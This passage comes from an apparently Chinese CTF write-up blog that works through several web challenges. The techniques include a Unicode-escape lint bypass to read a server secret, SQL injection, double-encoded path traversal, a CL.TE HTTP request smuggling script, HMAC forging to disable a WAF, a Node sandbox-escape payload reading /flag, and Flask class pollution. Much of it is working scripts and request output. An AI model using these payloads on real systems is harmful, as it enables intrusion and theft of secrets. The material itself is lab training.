    stamp: now + payload.ops.length + 11
  });

  rows.sort((a, b) => {
    const sa = String(a.source || '');
    const sb = String(b.source || '');
    if (sa === sb) {
      return Number(a.stamp || 0) - Number(b.stamp || 0);
    }
    return sa.localeCompare(sb);
  });

  return rows;
}
  • keepRole: false → 这一行不加 role 字段
  • keepLane: false → 这一行不加 lane 字段

加工完你提交的所有 op 之后,它还会强制追加一条

截屏2026-03-30 02.26.52

然后,它把所有行source 字段排序

rows.sort((a, b) => sa.localeCompare(sb));

appendCapabilityRows 函数

截屏2026-03-30 02.28.36

这只看数组里第一行有哪些字段,然后强制所有行都按这个模板来。

如果某一行有额外的字段(比如 role),直接被丢掉;

如果某一行缺少字段,就填 null。OKOK

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/api/auth/guest \
  -H "Content-Type: application/json" \
  -d '{}'

截屏2026-03-30 04.00.50

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/api/caps/sync \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJleHAiOjE3NzQ4MTU4NTgwODksImlhdCI6MTc3NDgxNDM1ODA4OSwibm9uY2UiOiIwNmNkNDc0MGQzZDg3NWMwIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9lMDA4NjMzZWY4NWMifQ.803525293be29183bde6f29c7ccba8a2876905d2584168c95cc023573a123e7b" \
  -d '{
    "ops": [
      { "source": "a", "keepRole": false, "keepLane": false },
      { "source": "b", "keepRole": true, "keepLane": true }
    ]
  }'

截屏2026-03-30 04.01.56

 curl -X GET http://nihaohaha123.challenge.ctfplus.cn/api/session/self \
  -H "Authorization: Bearer eyJleHAiOjE3NzQ4MTU4NTgwODksImlhdCI6MTc3NDgxNDM1ODA4OSwibm9uY2UiOiIwNmNkNDc0MGQzZDg3NWMwIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9lMDA4NjMzZWY4NWMifQ.803525293be29183bde6f29c7ccba8a2876905d2584168c95cc023573a123e7b"

截屏2026-03-30 04.04.07

搞定搞定,下一步

RUNNER_KEY

截屏2026-03-30 02.42.21

它是服务器的环境变量,存在 process.env 里。我们在外面没法直接读,

但是,找啊找啊找 ,找到一个小接口 POST /api/release/execute

截屏2026-03-30 02.44.52

哦哦哦,那我们提交 process.env.RUNNER_KEY

在执行之前,服务器会先过一道 lintExpression 检查:

截屏2026-03-30 02.49.35截屏2026-03-30 02.50.17

如果我们直接提交 process.env.RUNNER_KEY,Linter 会发现字符串里包含 process,直接报错拒绝

我们都知道 JS 有一个鲜为人知的特性:变量名可以用 Unicode 转义

现在我们把表达式写成 \u0070rocess.env.RUNNER_KEY,那岂不就可以了

这时

对于 Linter:它看到的是 \u0070rocess,放行

对于 JS 引擎:在执行 new Function 时,它会将 \u0070 还原为 p,搞定 RUNNER_KEY

curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/execute' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316' \
  -d '{"expression":"\\u0070rocess.env.RUNNER_KEY"}'

截屏2026-03-30 10.22.09

Capture the flaggg

前面两部基本搞定,剩下的就是走流程了

请求 /api/release/challenge 获取 nonce

在本地使用刚刚偷到的 RUNNER_KEY、当前会话的 sid 以及 nonce 进行 SHA1 哈希计算。

将计算好的 proof 提交给 /api/release/claim,成功兑换出 Flag

curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/challenge' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316'

截屏2026-03-30 10.29.10

printf '%s' 'sid_67099135c439:6cb92a77b0dfdda41a4ea985:05ynmIVpVvg2JSnBI0C3wCSdjTECLzV7zftT0CBY' | shasum -a 1
curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/claim' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316' \
  -d '{"nonce":"6cb92a77b0dfdda41a4ea985","proof":"be32f767498d4590d0173da8d687f1b89621bead"}'

截屏2026-03-30 10.24.35

OKOK

Broken Trust

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。

神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢

截屏2026-03-30 10.34.42

注册一下 nihaohaha123

截屏2026-03-30 10.36.30

截屏2026-03-30 10.39.41

按一下 Refresh Session Data 看一下网络请求截屏2026-03-30 10.45.00

发现它向 /api/profile 发了个 POST 请求,

然后响应返回了当前用户的 role、uid、username 那这个接口应该是用来同步用户信息的,接下来试试能不能注入

截屏2026-03-30 10.47.42

截屏2026-03-30 10.53.17

放到控制台里

“body”: ”{“uid”:”’ OR ‘1’=‘1”}”,

截屏2026-03-30 10.55.29截屏2026-03-30 10.57.56

没加 .then

fetch("/api/profile",{method:"POST",headers:{"content-type":"application/json"},body:'{"uid":"\'  OR \'1\'=\'1"}'}).then(r=>r.json()).then(console.log)

截屏2026-03-30 10.58.33

OKOK,截屏2026-03-30 10.59.43

点一下 Access Backup server截屏2026-03-30 11.01.29

接口通了,接下来试试读 /flag

截屏2026-03-30 11.03.24

好吧好吧,绝对路径不行

试试 ../../../../../flag

截屏2026-03-30 11.09.46

不应该啊,

截屏2026-03-30 11.09.23

哦哦哦,那应该是做了过滤是吧,URL编码一下,

不行不行,要编码两次

截屏2026-03-30 11.21.57

嘻嘻,贴个妹妹啵【哲风壁纸】明星-虞书欣

Polyglot’s Paradox

The Charm of Computer Languages

截屏2026-03-30 11.29.01

Hint 我们要访问 /api/info/

截屏2026-03-30 11.35.59

大概是有一个反向代理挡在前面,所以内部接口不能直接访问

还是习惯用 curl 看一下详细点的

截屏2026-03-30 11.38.32

X-Parser: content-length-only 说明这个代理只看 Content-Length,不管什么 Transfer-Encoding

然后先直接看看 /internal/flag

 curl -v http://nc1.ctfplus.cn:66666/internal/flag

截屏2026-03-30 11.41.15

X-Proxy-Policy: strict-path-acl

代理的拦截策略是”strict-path-acl”,也就是说代理有一个黑名单,可能是讲 /internal/* 全部被拦截

截屏2026-03-30 11.44.57

Google 一下喽,所以这个漏洞就是 HTTP Request Smuggling

截屏2026-03-30 11.50.27

致敬致敬,大佬🫡截屏2026-03-30 11.53.57

git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u http://nc1.ctfplus.cn:66666/api/info

截屏2026-03-30 12.09.20

也是用工具检测到存在 CL.TE 漏洞

所以说我们要手动改一下走私包,然后访问内部接口

也是非常喜欢 PortSwigger

截屏2026-03-30 12.14.09

我们对照着这个模版,伪造一下

POST /api/info HTTP/1.1                  //改成代理允许访问的路径,不能用 /internal/*
Host: nc1.ctfplus.cn:66666     	
Content-Length: 76                			 //走私内容的字节数
Transfer-Encoding: chunked      

0                                				 //chunked 结束符,后端认为请求在这里结束

GET /internal/admin HTTP/1.1     				 //后端把这部分当成新请求,绕过了代理的 ACL 拦截
Host: nc1.ctfplus.cn:17869
Connection: close

也是学到了,

curl 会自动处理 chunked 编码,无法手动控制 0\r\n\r\n 之后的内容,所以需要用 Python socket 直接发原始字节

import socket

smuggled = (
    "GET /internal/admin HTTP/1.1\r\n"
    "Host: nc1.ctfplus.cn:66666\r\n"
    "Connection: close\r\n\r\n"
)
outer_body = "0\r\n\r\n" + smuggled

# 外层走私请求
req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: nc1.ctfplus.cn:66666\r\n"
    f"Content-Length: {len(outer_body.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer_body}"
)

# 触发请求,让后端把走私的响应返回
req2 = (
    "GET /api/info HTTP/1.1\r\n"
    "Host: nc1.ctfplus.cn:66666\r\n"
    "Connection: close\r\n\r\n"
)

s = socket.create_connection(("nc1.ctfplus.cn",66666), timeout=10)
s.sendall((req1 + req2).encode())

# 读取所有响应
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break

print(data.decode("utf-8", "ignore"))

截屏2026-03-30 12.31.45

贴一下

HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 757
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"You've reached the internal admin panel. The proxy didn't stop you.","congratulations":"Step 2 complete: Proxy ACL bypassed via HTTP Request Smuggling.","next_steps":["GET  /internal/secret-fragment  - Collect HMAC secret fragments","POST /internal/config           - Update server config (HMAC auth required)","POST /internal/sandbox/execute  - Execute code in sandbox (HMAC auth required)"],"authentication":{"method":"HMAC-SHA256","headers":{"X-Internal-Token":"HMAC-SHA256 hex digest","X-Timestamp":"Current time in milliseconds (Unix epoch)","X-Nonce":"Unique random string (single use)"},"signature_format":"HMAC-SHA256(key, timestamp + ':' + nonce + ':' + requestBody)","note":"The HMAC secret can be found at /internal/secret-fragment"}}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

简单写一下就是

HTTP/1.1 404 Not Found
...
{"error":"Not found","path":"/api/info"}                         //代理正常处理

HTTP/1.1 200 OK
...
{"message":"You've reached the internal admin panel..."}         //走私进去的 /internal/admin 的 200 成功

HTTP/1.1 200 OK
...
{"name":"Polyglot's Paradox v2"...}															 //触发请求
import socket

def smuggle(host, port, smuggled_path):
    smuggled = (
        f"GET {smuggled_path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: close\r\n\r\n"
    )
    outer_body = "0\r\n\r\n" + smuggled

    req1 = (
        f"POST /api/info HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Length: {len(outer_body.encode())}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n\r\n"
        f"{outer_body}"
    )

    req2 = (
        f"GET /api/info HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: close\r\n\r\n"
    )

    s = socket.create_connection((host, port), timeout=10)
    s.sendall((req1 + req2).encode())

    s.settimeout(5)
    data = b""
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
        except:
            break
    s.close()
    return data.decode("utf-8", "ignore")

HOST = "nc1.ctfplus.cn"
PORT = 66666

# 跑 6 次,每次拿一个碎片
for i in range(6):
    print(f"\n=== 第 {i+1} 次 ===")
    result = smuggle(HOST, PORT, "/internal/secret-fragment")
    print(result)

截屏2026-03-30 12.38.57

贴一下结果

== 第 1 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 2 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 3 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 4 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 5 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 6 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

集齐碎片召唤神龙🐲 z3_w0nt_A_gri1fr1e0d!!!

下一步就是计算 HMAC 签名,然后走私 关 WAF

HMAC-SHA256(key="z3_w0nt_A_gri1fr1e0d!!!", message=timestamp + ':' + nonce + ':' + requestBody)

Agent大人请再赐予我力量,OK,脚本也是写好了

import socket
import hmac
import hashlib
import time
import uuid
import json

HOST = "nc1.ctfplus.cn"
PORT = 66666

SECRET = "z3_w0nt_A_gri1fr1e0d!!!"

# 正确格式:把 features 里面的字段一起改掉
body = json.dumps({
    "features": {
        "sandbox": True,
        "logging": True,
        "astWaf": False,
        "sandboxHardening": False
    },
    "security": {
        "maxCodeLength": 4096,
        "maxTimeout": 5000
    }
}, separators=(",", ":"))

ts = str(int(time.time() * 1000))
nc = str(uuid.uuid4())
token = hmac.new(SECRET.encode(), f"{ts}:{nc}:{body}".encode(), hashlib.sha256).hexdigest()

smuggled = (
    f"POST /internal/config HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"X-Internal-Token: {token}\r\n"
    f"X-Timestamp: {ts}\r\n"
    f"X-Nonce: {nc}\r\n"
    f"Content-Length: {len(body.encode())}\r\n"
    f"Connection: close\r\n\r\n"
    f"{body}"
)

outer = "0\r\n\r\n" + smuggled

req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(outer.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer}"
)

req2 = (
    f"GET /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Connection: close\r\n\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall((req1 + req2).encode())
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break
s.close()
print(data.decode("utf-8", "ignore"))

截屏2026-03-30 13.00.59

两个防护都关掉了,签名验证也通过了,哦哦是时候可以庆祝一下了

【哲风壁纸】人像-优雅-冷色背景

Capture the flag

改一下 body

body = json.dumps({
    "code": "this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/flag','utf8')"
})

算了,直接贴脚本吧

import socket
import hmac
import hashlib
import time
import uuid
import json

HOST = "nc1.ctfplus.cn"
PORT = 66666

SECRET = "z3_w0nt_A_gri1fr1e0d!!!"

body = json.dumps({
    "code": "this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/flag','utf8')"
}, separators=(",", ":"))

ts = str(int(time.time() * 1000))
nc = str(uuid.uuid4())
token = hmac.new(SECRET.encode(), f"{ts}:{nc}:{body}".encode(), hashlib.sha256).hexdigest()

smuggled = (
    f"POST /internal/sandbox/execute HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"X-Internal-Token: {token}\r\n"
    f"X-Timestamp: {ts}\r\n"
    f"X-Nonce: {nc}\r\n"
    f"Content-Length: {len(body.encode())}\r\n"
    f"Connection: close\r\n\r\n"
    f"{body}"
)

outer = "0\r\n\r\n" + smuggled

req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(outer.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer}"
)

req2 = (
    f"GET /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Connection: close\r\n\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall((req1 + req2).encode())
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break
s.close()
print(data.decode("utf-8", "ignore"))

截屏2026-03-30 13.02.47

Capture it

ez_python

简单的flask python

截屏2026-03-30 13.04.34

附件是 app.py

from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Config:
    def __init__(self):
        self.filename = "app.py"

class Polaris:
    def __init__(self):
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
    return open(instance.config.filename).read()

@app.route('/src')
def src():
    return open(__file__).read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False):

代码非常短,先是知道了路由结构

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

如果有 POST 数据,会转换为 JSON 然后调用 merge 整合到 instance 变量

@app.route('/read')
def read():
    return open(instance.config.filename).read()

/read:读取并返回 instance.config.filename 指定的文件内容

@app.route('/src')
def src():
    return open(__file__).read()

/src:返回当前源码

理一下思路

我们要读到 flag 但可能这个范围 /read 读不到

然后想法也是非常简单啊,就是要利用 merge() 函数 把修改 instance.config.filename 的值为 /flag

比如说下面这个

{"config": {"filename": "/flag"}}

merge() 的递归逻辑

首先是 k="config", v={"filename": "/flag"} , instanceconfig 属性且 v 是字典 → 递归进入 merge(v, instance.config)

然后有k="filename", v="/flag"instance.configfilename 属性但 v 不是字典 → 进入 else,执行 setattr(instance.config, "filename", "/flag")

最终instance.config.filename 被成功覆盖为 /flag

直接 curl

POST 发送 payload,污染 filename 属性

curl -X POST http://5000-93352c0d-0bdd-480a-925e-9df0cd546b86.challenge.ctfplus.cn/ \
     -H "Content-Type: application/json" \
     -d '{"config": {"filename": "/flag"}}'

截屏2026-03-30 15.12.26

OKOK,妹妹妹妹【哲风壁纸】夏日校园-户外写真

only real

也许只有一个是真的

截屏2026-03-30 15.35.31

view-source:

截屏2026-03-30 15.36.14

登录,然后 Bp抓个包,发现是 JWT

截屏2026-03-30 15.39.53

sudo admin

截屏2026-03-30 15.41.02

哦,好吧,“非法Cookie”

御剑御剑

截屏2026-03-30 16.24.17

截屏2026-03-30 15.56.43

6 没话说,直接贴个美女吧【哲风壁纸】gone-台灯

AutoPypy

这是一个很安全的沙箱,对,沙箱很安全

截屏2026-03-30 15.19.24截屏2026-03-30 15.17.19

🐍 Python 沙箱运行器

可以上传 py 脚本并在沙箱环境中执行。三个附件啊我们来审计一下

server.py 是一个 Flask Web 服务

这是文件上传接口,!!!直接使用用户传入的 filename 参数,这里应该是一个漏洞点

python3 -c "import os; print(os.path.join('/app/uploads', '../../tmp/evil.py'))"

截屏2026-03-30 16.22.06

没问题,应该可以目录穿越

截屏2026-03-30 15.25.01

